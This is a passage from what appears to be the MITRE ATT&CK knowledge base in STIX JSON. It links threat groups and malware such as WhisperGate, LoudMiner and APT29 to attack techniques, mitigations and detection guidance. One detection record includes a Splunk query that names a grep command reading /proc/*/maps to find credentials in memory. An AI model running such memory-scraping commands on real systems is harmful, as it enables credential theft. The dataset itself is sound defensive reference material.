2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7742d5c6-6987-4a87-92e9-c213880d911a","type":"relationship","created":"2021-06-03T19:09:07.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft ISAPICGIRestriction 2016","url":"https://docs.microsoft.com/en-us/iis/configuration/system.webserver/security/isapicgirestriction/","description":"Microsoft. (2016, September 26). ISAPI/CGI Restrictions . Retrieved June 3, 2021."}],"modified":"2021-10-17T15:06:24.431Z","description":"Restrict unallowed ISAPI extensions and filters from running by specifying a list of ISAPI extensions and filters that can run on IIS.(Citation: Microsoft ISAPICGIRestriction 2016)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--774302ff-3ab9-4328-a434-6188efe0928a","created":"2020-05-18T21:01:51.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET LoudMiner June 2019","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:04:44.387Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) harvested system resources to mine cryptocurrency, using XMRig to mine Monero.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7744eff7-6f61-4e1d-a3be-069a417a9ff6","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-28T15:00:07.079Z","description":"Monitor for applications and processes related to remote admin software. Correlate activity with other suspicious behavior that may reduce false positives if this type of software is used by legitimate users and administrators. [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote software to compromised systems. It may be possible to detect or prevent the installation of this type of software with host-based solutions.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7748c6c9-d7a5-44e9-81bf-97d038e6edb1","created":"2023-03-26T18:19:02.757Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:19:02.757Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--774a6b5c-bbba-4094-bac3-0fa5e664bf2a","created":"2022-03-10T20:25:15.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Crowdstrike WhisperGate January 2022","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.858Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can overwrite sectors of a victim host's hard drive at periodic offsets.(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--774c6d96-7fd4-44fb-97db-ddb65ce097ba","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--774e95cc-df61-4772-a23e-61b78830f0e3","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77559f07-2f75-4eab-962f-3705b9ad704b","type":"relationship","created":"2020-10-01T01:01:00.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:01:00.257Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"},{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"modified":"2021-12-02T15:45:11.499Z","description":"(Citation: Unit 42 Kazuar May 2017)(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--775f9337-6cab-49f6-850e-af3038f0c806","type":"relationship","created":"2020-10-19T19:53:10.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Deploy Signed IOS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#34","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020."}],"modified":"2020-10-22T17:49:03.336Z","description":"Many vendors provide digitally signed operating system images to validate the integrity of the software used on their platform. Make use of this feature where possible in order to prevent and/or detect attempts by adversaries to compromise the system image. (Citation: Cisco IOS Software Integrity Assurance - Deploy Signed IOS)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7765bb01-3f20-47f8-a871-ad334e927af2","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T16:13:08.778Z","description":"Monitor for unexpected access to passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\\/maps, where the \\ directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\n\nAnalytic 1 - Unauthorized access to /proc filesystem.\n\n index=os sourcetype=\"linux_audit\" command IN (\"grep -E '^[0-9a-f-]* r' /proc/*/maps\")","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7767d727-fba8-4b7a-b7fe-137ed9261680","type":"relationship","created":"2019-03-25T15:05:23.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T18:05:52.792Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77694ac6-12cf-4bea-a0c5-7c400702b70a","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for newly constructed processes and/or command-lines that look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system. Typically these should only be used in specific and limited cases, like for software development.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--776e6d33-8d3d-42bc-bee2-770d8399dfc4","created":"2022-09-21T14:49:32.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T20:55:30.930Z","description":"(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7779aecc-13bd-41cc-9630-6f8e04b6dd01","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:53:49.123Z","description":"Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7779c4b8-d007-439a-81b7-b56efb8742ea","created":"2023-03-26T18:10:26.445Z","revoked":false,"external_references":[{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:10:26.445Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used WinRM via PowerShell to execute commands and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--777c4c38-9da2-4473-b5d0-61f175014760","type":"relationship","created":"2021-06-30T19:50:14.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:50:14.769Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) has the ability to use CreateProcess to execute a process.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--778297c2-55a2-4f80-8216-daa25bd148a9","created":"2021-01-22T16:26:31.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.422Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has copied tools between compromised hosts using SMB.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--778765e1-7eb6-46b1-a370-6dfe09081ee3","created":"2019-05-24T17:57:36.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.211Z","description":"[Silence](https://attack.mitre.org/groups/G0091) can capture victim screen activity.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--778aa9ba-0561-44bd-a28f-94ba2b12f78b","created":"2023-02-16T18:56:40.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:46:22.702Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can download a clipboard information stealer module.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--778ab7aa-b85b-4d60-b203-00eff3f4b120","created":"2024-05-17T13:49:05.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:24:50.327Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) can identify processes running on the victim machine, such as security software, during execution.(Citation: TrendMicro RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--778df1e8-d307-496d-861a-45052ee2e019","created":"2024-08-14T22:21:05.689Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:21:05.689Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) uses WMI queries to gather information about the victim machine.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77945b82-ac46-4ac0-a0e7-2ded2f490aaa","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7799861e-ea03-4574-9170-e4b3ba241cc5","type":"relationship","created":"2020-02-21T21:11:07.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:11:07.166Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--779a41f1-84ca-4cac-91fb-826bc102d5bd","created":"2022-03-30T14:26:51.839Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","modified":"2022-04-20T03:17:11.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--779b1ed2-5ff6-408d-837e-571bbc4ecc4a","created":"2023-10-02T16:29:24.955Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:29:24.955Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has downloaded additional tools and malware to compromised systems.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77a6ec35-4708-4017-a767-ef3a86e3db1e","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor executed commands and arguments that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring 